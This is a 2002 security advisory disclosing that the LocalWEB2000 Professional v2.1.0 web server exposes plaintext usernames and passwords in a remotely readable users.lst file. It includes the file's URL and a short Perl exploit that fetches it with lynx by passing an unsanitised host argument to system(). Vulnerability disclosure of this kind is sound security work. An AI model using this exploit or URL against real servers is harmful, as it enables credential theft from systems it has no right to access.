LocalWEB2000 Professional v2.1.0 Unauthorized Password Disclosure Vulnerability

Type

File Disclosure

Release Date

August 29, 2002

Product / Vendor

LocalWEB2000 is an HTTP server for the Windows suite of operating systems. LocalWEB2000 is available in two versions, Standard and Professional.

http://www.intranet-server.co.uk

Summary

LocalWEB2000 professional webserver v2.1.0 saves the passwords somewhere insecure. In LocalWeb2000 "users.lst" (C:\Program Files\LocalWEB\users.lst) file can be opened any text editor and the usernames and the passwords can be view clearly and this file accessible remote users without any username&password restriction.

http://target/users.lst

Exploit

An exploit for this vulnerability exists and is available below.

==================== SNIP ====================

#!/usr/bin/perl -w

die "\nLocalWEB2000 Professional v2.1.0 Unauthorized Password Disclosure Vulnerability / SecurityOffice\n\nUsage: $0 <host>" if $#ARGV <0;

print &get($ARGV[0]);

exit 0;

sub get {

$host = $ARGV[0];

system "lynx $host/users.lst";

print "Done\n\n";

}

==================== SNIP ====================

Tested

LocalWEB2000 v2.1.0 / Windows 2000 sp3

Vulnerable

LocalWEB2000 v2.1.0

Disclaimer

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Author

Tamer Sahin
ts(at)securityoffice.net
http://www.securityoffice.net